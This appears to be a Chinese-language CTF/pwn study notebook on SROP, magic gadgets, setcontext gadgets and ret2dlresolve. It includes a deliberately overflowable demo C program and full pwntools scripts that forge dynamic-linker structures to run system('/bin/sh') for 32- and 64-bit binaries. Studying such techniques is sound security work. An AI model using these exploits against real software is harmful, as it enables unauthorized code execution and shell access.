SROP
利用pwntools自带的SigreturnFrame()函数,用法如下:
1 2 3 4 5 6 7 8 9 10
| sigreturn = SigreturnFrame() sigreturn.rax = sigreturn.rdi = sigreturn.rsi = sigreturn.rdx = ... sigreturn.rsp = sigreturn.rip =
payload = padding + p64(syscall) + bytes(sigreturn)
|
控制好rsp,可以在rip处的代码执行结束ret的时候,再次进行sigreturn系统调用
Magic Gadget
Magic Gadget通常指利用一连串指令在特定条件下能控制寄存器的gadget。
Magic1
1 2 3
| add dword ptr [rbp - 0x3d], ebx nop ret
|
结合csu实现任意地址写,同时可以使得rbx可控,便可以在栈上任何含有libc地址的地方通过偏移,获取任何指令的地址。
1 2 3 4 5 6 7
| pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 retn
|
Magic2:[rax]→rdx
前提
rax + 0x38地址内的值是一个地址,且该地址内容可控。或者rax + 0x38 地址内的值可控。
1 2 3
| mov rdx, qword ptr [rax + 0x38] mov rdi, rax call qword ptr [rdx + 0x20]
|
Magic3:[rdi]→rdx
前提
rdi + 8地址内的值是一个地址,且该地址内容可控。或者 rdi + 8 地址内的值可控。
1 2 3
| mov rdx, qword ptr [rdi + 8] mov qword ptr [rsp], rax call qword ptr [rdx + 0x20]
|
setcontext
glibc < 2.28 setcontext +53
以下示例来源于libc6_2.27-3ubuntu1_amd64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ; <setcontext@@GLIBC_2.2.5+0x35>
520a5: 48 8b a7 a0 00 00 00 mov rsp,QWORD PTR [rdi+0xa0] 520ac: 48 8b 9f 80 00 00 00 mov rbx,QWORD PTR [rdi+0x80] 520b3: 48 8b 6f 78 mov rbp,QWORD PTR [rdi+0x78] 520b7: 4c 8b 67 48 mov r12,QWORD PTR [rdi+0x48] 520bb: 4c 8b 6f 50 mov r13,QWORD PTR [rdi+0x50] 520bf: 4c 8b 77 58 mov r14,QWORD PTR [rdi+0x58] 520c3: 4c 8b 7f 60 mov r15,QWORD PTR [rdi+0x60] 520c7: 48 8b 8f a8 00 00 00 mov rcx,QWORD PTR [rdi+0xa8] 520ce: 51 push rcx 520cf: 48 8b 77 70 mov rsi,QWORD PTR [rdi+0x70] 520d3: 48 8b 97 88 00 00 00 mov rdx,QWORD PTR [rdi+0x88] 520da: 48 8b 8f 98 00 00 00 mov rcx,QWORD PTR [rdi+0x98] 520e1: 4c 8b 47 28 mov r8,QWORD PTR [rdi+0x28] 520e5: 4c 8b 4f 30 mov r9,QWORD PTR [rdi+0x30] 520e9: 48 8b 7f 68 mov rdi,QWORD PTR [rdi+0x68] 520ed: 31 c0 xor eax,eax 520ef: c3 ret
|
glibc ≥ 2.28 setcontext + 61
以下示例来源于libc6_2.39-0ubuntu8.6_amd64
1 2 3 4 5 6 7 8 9 10 11 12
| ; <setcontext@@GLIBC_2.2.5+0x3d>
4a99d: 48 8b a2 a0 00 00 00 mov rsp,QWORD PTR [rdx+0xa0] 4a9a4: 48 8b 9a 80 00 00 00 mov rbx,QWORD PTR [rdx+0x80] 4a9ab: 48 8b 6a 78 mov rbp,QWORD PTR [rdx+0x78] 4a9af: 4c 8b 62 48 mov r12,QWORD PTR [rdx+0x48] 4a9b3: 4c 8b 6a 50 mov r13,QWORD PTR [rdx+0x50] 4a9b7: 4c 8b 72 58 mov r14,QWORD PTR [rdx+0x58] 4a9bb: 4c 8b 7a 60 mov r15,QWORD PTR [rdx+0x60] 4a9bf: 64 f7 04 25 48 00 00 test DWORD PTR fs:0x48,0x2 4a9c6: 00 02 00 00 00 4a9cb: 0f 84 b5 00 00 00 je 4aa86 <setcontext@@GLIBC_2.2.5+0x126>
|
1 2 3 4 5 6 7 8 9 10 11 12
| ; <setcontext@@GLIBC_2.2.5+0x126>
4aa86: 48 8b 8a a8 00 00 00 mov rcx,QWORD PTR [rdx+0xa8] 4aa8d: 51 push rcx 4aa8e: 48 8b 72 70 mov rsi,QWORD PTR [rdx+0x70] 4aa92: 48 8b 7a 68 mov rdi,QWORD PTR [rdx+0x68] 4aa96: 48 8b 8a 98 00 00 00 mov rcx,QWORD PTR [rdx+0x98] 4aa9d: 4c 8b 42 28 mov r8,QWORD PTR [rdx+0x28] 4aaa1: 4c 8b 4a 30 mov r9,QWORD PTR [rdx+0x30] 4aaa5: 48 8b 92 88 00 00 00 mov rdx,QWORD PTR [rdx+0x88] 4aaac: 31 c0 xor eax,eax 4aaae: c3 ret
|
ret2dlresolve
适用ret2dlresolve的场景,以下条件应同时满足
- 没有任何信息泄露(libc 基址未知)
- 目标存在延迟绑定(No RELRO 或 Partial RELRO)
- 有一块地址已知的可写内存(No PIE 时的 bss 即可)
- i386 至少要能控制
esp寄存器,amd64 至少要能控制rdi和rsp寄存器
延迟绑定原理
动态链接的函数第一次被调用时走的是延迟绑定流程:
1 2 3 4 5 6
| func@plt → jmp *func@got │ 首次调用时 got 里存的是 plt 中的下一条指令 ▼ push reloc_arg jmp plt[0] → push link_map(GOT[1]) jmp *_dl_runtime_resolve(GOT[2])
|
_dl_runtime_resolve(link_map, reloc_arg) 在 _dl_fixup 中完成解析:
- 由 reloc_arg 找到重定位项
Elf32_Rel / Elf64_Rela(位于 .rel.plt / .rela.plt)
- 由
r_info 中的符号索引找到符号 Elf32_Sym / Elf64_Sym(位于 .dynsym)
- 由
sym->st_name 在 .dynstr 中读出符号名字符串
- 在已加载的库中查找该名字,把函数地址写回
r_offset 指向的 got 项,并调用它
ret2dlresolve 的核心就是伪造这条解析链上的结构体,让符号名变成 "system",从而把任意一次 plt 调用变成 system("/bin/sh")。
RELRO 等级决定了解析链上哪些环节可写,对应不同的打法:
| 级别 |
编译选项 |
.dynamic |
.got.plt |
延迟绑定 |
打法 |
| No RELRO |
-Wl,-z,norelro |
可写 |
可写 |
有 |
改写 DT_STRTAB |
| Partial RELRO |
默认 |
只读 |
可写 |
有 |
伪造 Rel/Sym 结构体 |
| Full RELRO |
-Wl,-z,relro,-z,now |
只读 |
并入 .got,只读 |
无 |
经典手法失效 |
演示用漏洞程序如下。注意新版 glibc(≥ 2.34)不再链接 __libc_csu_init,小程序里找不到 pop 系列 gadget——真实题目中这些 gadget 来自 csu 或程序自身代码,这里用内联汇编补齐;32 位下参数在栈上,不需要这些 gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #include <unistd.h> #include <stdio.h>
#ifdef __x86_64__ __asm__( ".global pop_rdi\n" "pop_rdi: pop %rdi; ret\n" ".global pop_rsi\n" "pop_rsi: pop %rsi; ret\n" ".global pop_rdx\n" "pop_rdx: pop %rdx; ret\n" ); #endif
void vuln(void) { char buf[0x60]; if (read(0, buf, 0x200) == 0x1337) { puts(buf); } }
int main(void) { vuln(); return 0; }
|
另外下面两处 st_name、strtab_ptr 的计算两个场景通用,先给出辅助代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| def st_name_of(elf, name, bits): """符号 name 的 st_name(符号名字符串在 .dynstr 中的偏移)""" syms = elf.get_section_by_name(".dynsym").data() strs = elf.get_section_by_name(".dynstr").data() size = 0x18 if bits == 64 else 0x10 for off in range(0, len(syms), size): st_name = u32(syms[off:off+4]) if strs[st_name:strs.index(b"\x00", st_name)] == name.encode(): return st_name raise ValueError("symbol not found")
def strtab_ptr_of(elf, bits): """.dynamic 中 DT_STRTAB 条目的值字段地址""" dyn = elf.get_section_by_name(".dynamic").header.sh_addr ddata = elf.get_section_by_name(".dynamic").data() if bits == 64: for i in range(0, len(ddata), 0x10): if u64(ddata[i:i+8]) == 5: return dyn + i + 8 else: for i in range(0, len(ddata), 0x8): if u32(ddata[i:i+4]) == 5: return dyn + i + 4 raise ValueError("DT_STRTAB not found")
|
32 位
No RELRO:改写 DT_STRTAB
No RELRO 时 .dynamic 可写,而 _dl_fixup 每次都通过 link_map->l_info[DT_STRTAB] 读取字符串表地址,因此:
- 把 .dynamic 中 DT_STRTAB 条目的值改写为伪造字符串表的地址
- 伪造字符串表中,在原符号
st_name 偏移处放上 "system"
- 正常调用一个还没被解析过的 plt 函数,解析出来的就是 system
注意触发函数必须尚未解析:read 已经被 vuln 调用过、got 已回填,不会再走解析流程,所以这里用从未执行的 puts@plt 做触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context.binary = elf = ELF("./vuln32_norelro") p = process("./vuln32_norelro")
PAD = 0x6c read_plt = elf.plt["read"] puts_plt = elf.plt["puts"] vuln = elf.symbols["vuln"] strtab_ptr = strtab_ptr_of(elf, 32) st_name = st_name_of(elf, "puts", 32)
fake_strtab = elf.bss() + 0x400 bin_sh = fake_strtab + st_name + len(b"system\x00")
p.send(flat(b"A"*PAD, read_plt, vuln, 0, strtab_ptr, 4)) p.send(p32(fake_strtab))
p.send(flat(b"A"*PAD, read_plt, vuln, 0, fake_strtab, 0x40)) p.send(b"A"*st_name + b"system\x00" + b"/bin/sh\x00")
p.send(flat(b"A"*PAD, puts_plt, 0xdeadbeef, bin_sh)) p.interactive()
|
Partial RELRO:伪造 Elf32_Rel / Elf32_Sym
Partial RELRO 下 .dynamic 只读,改为在可写内存中伪造整条解析链:
Elf32_Rel(8 字节):r_offset 指向任意可写 got 项,r_info = (sym_index << 8) | 7(R_386_JUMP_SLOT)
Elf32_Sym(16 字节):st_name 为 “system” 到 .dynstr 的偏移,st_info = 0x12
- 触发时直接跳 plt[0],压入伪造重定位项到 .rel.plt 的字节偏移(32 位是偏移,不是索引)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * context.binary = elf = ELF("./vuln32_partial") p = process("./vuln32_partial")
PAD = 0x6c rel_plt = elf.get_section_by_name(".rel.plt").header.sh_addr dynsym = elf.get_section_by_name(".dynsym").header.sh_addr dynstr = elf.get_section_by_name(".dynstr").header.sh_addr plt0 = elf.get_section_by_name(".plt").header.sh_addr read_plt = elf.plt["read"] vuln = elf.symbols["vuln"] got_read = elf.got["read"]
bss = elf.bss() + 0x400
fake_rel = bss + (rel_plt - bss) % 0x8 gap = (dynsym - fake_rel) % 0x10 if gap < 0x8: gap += 0x10 fake_sym = fake_rel + gap str_addr = fake_sym + 0x10 bin_sh = str_addr + 0x8 sym_index = (fake_sym - dynsym) // 0x10
p.send(flat(b"A"*PAD, read_plt, vuln, 0, fake_rel, 0x200)) st_name = str_addr - dynstr payload2 = flat({ 0x00: p32(got_read) + p32((sym_index << 8) | 7), gap: p32(st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0), gap + 0x10: b"system\x00\x00", gap + 0x18: b"/bin/sh\x00", }) p.send(payload2)
p.send(flat(b"A"*PAD, plt0, fake_rel - rel_plt, 0xdeadbeef, bin_sh)) p.interactive()
|
如果解析时崩溃,优先检查 .gnu.version 校验:glibc 会用 sym_index 索引 versym 数组,伪造的 sym_index 很大,需要让 versym + 2*sym_index 处恰好读到 0(微调 fake_rel/fake_sym 的位置,或直接交给后文的 pwntools 自动布局)。
Full RELRO:经典手法失效
Full RELRO(-z now)下所有符号在程序启动时就完成解析(BIND_NOW),got 全部只读,plt 中不再有压入 reloc_arg 的 resolver 桩,_dl_runtime_resolve 不会再经由 GOT[2] 调用,经典 ret2dlresolve 失效。
进阶手法(需要任意地址写 + ld.so 基址泄露):ld.so 内存中的 link_map 结构体始终可写,篡改其 l_info[DT_STRTAB] 指向伪造的 Elf32_Dyn(其 d_ptr 指向伪造字符串表),再直接调用 ld.so 内的 _dl_runtime_resolve(link_map, reloc_arg) 完成解析。有任意写和泄露之后通常已有更直接的利用方式,此手法了解原理即可。
64 位
No RELRO:改写 DT_STRTAB
思路与 32 位一致,差异:
Elf64_Dyn 为 16 字节,DT_STRTAB 的值字段在条目 +8 处
- 参数走寄存器,需要 pop rdi/rsi/rdx 系列 gadget 调用 read 完成写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * context.binary = elf = ELF("./vuln64_norelro") p = process("./vuln64_norelro")
PAD = 0x68 pop_rdi = elf.symbols["pop_rdi"] pop_rsi = elf.symbols["pop_rsi"] pop_rdx = elf.symbols["pop_rdx"] read_plt = elf.plt["read"] puts_plt = elf.plt["puts"] vuln = elf.symbols["vuln"] strtab_ptr = strtab_ptr_of(elf, 64) st_name = st_name_of(elf, "puts", 64)
fake_strtab = elf.bss() + 0x800 bin_sh = fake_strtab + st_name + len(b"system\x00")
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, strtab_ptr, pop_rdx, 8, read_plt, vuln)) p.send(p64(fake_strtab))
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, fake_strtab, pop_rdx, 0x100, read_plt, vuln)) p.send(b"A"*st_name + b"system\x00" + b"/bin/sh\x00")
p.send(flat(b"A"*PAD, pop_rdi, bin_sh, puts_plt)) p.interactive()
|
注意:不要指望 libc 调用返回后 rdx 仍保持原值。老 glibc 的 read 包装是裸 syscall,不碰 rdx,可以省略第三个参数的设置;新 glibc 的 read 包装带取消点逻辑,返回后 rdx 已被破坏,必须用 pop rdx 显式设置。
Partial RELRO:伪造 Elf64_Rela / Elf64_Sym
Elf64_Rela(24 字节):r_info = (sym_index << 32) | 7(R_X86_64_JUMP_SLOT),比 32 位多一个 r_addend 字段,填 0
Elf64_Sym(24 字节):字段含义同 32 位
- 触发时压入的是伪造重定位项在 .rela.plt 中的索引(64 位是索引,不是字节偏移)
- 参数通过
pop rdi 传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * context.binary = elf = ELF("./vuln64_partial") p = process("./vuln64_partial")
PAD = 0x68 rela_plt = elf.get_section_by_name(".rela.plt").header.sh_addr dynsym = elf.get_section_by_name(".dynsym").header.sh_addr dynstr = elf.get_section_by_name(".dynstr").header.sh_addr plt0 = elf.get_section_by_name(".plt").header.sh_addr read_plt = elf.plt["read"] vuln = elf.symbols["vuln"] got_read = elf.got["read"] pop_rdi = elf.symbols["pop_rdi"] pop_rsi = elf.symbols["pop_rsi"] pop_rdx = elf.symbols["pop_rdx"]
bss = elf.bss() + 0x800
fake_rel = bss + (rela_plt - bss) % 0x18 gap = 0x18 + (dynsym - fake_rel - 0x18) % 0x18 fake_sym = fake_rel + gap str_addr = fake_sym + 0x18 bin_sh = str_addr + 0x8 sym_index = (fake_sym - dynsym) // 0x18
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, fake_rel, pop_rdx, 0x200, read_plt, vuln)) st_name = str_addr - dynstr payload2 = flat({ 0x00: p64(got_read) + p64((sym_index << 32) | 7) + p64(0), gap: p32(st_name) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0), gap + 0x18: b"system\x00\x00", gap + 0x20: b"/bin/sh\x00", }) p.send(payload2)
p.send(flat(b"A"*PAD, pop_rdi, bin_sh, plt0, (fake_rel - rela_plt) // 0x18)) p.interactive()
|
.gnu.version 校验的处理同 32 位一节:解析失败时先调整对齐,使 versym + 2*sym_index 处读到 0。
Full RELRO:经典手法失效
与 32 位相同:BIND_NOW 消灭了延迟绑定,经典手法不可用。进阶思路同样是篡改 ld.so 中 link_map 的 l_info[DT_STRTAB] 并直接调用 _dl_runtime_resolve(64 位下其参数为 link_map 和 reloc 索引,且需先用 pop rdi 布置函数参数),前提是任意地址写与 ld.so 基址泄露。
pwntools 自带 Ret2dlresolvePayload,自动完成结构体布局与对齐(包括 .gnu.version 的处理),适用于 32/64 位的 No/Partial RELRO:
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * context.binary = elf = ELF("./vuln")
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"]) rop = ROP(elf) rop.read(0, dlresolve.data_addr) rop.ret2dlresolve(dlresolve)
p.send(b"A" * padding + rop.chain()) p.send(dlresolve.payload) p.interactive()
|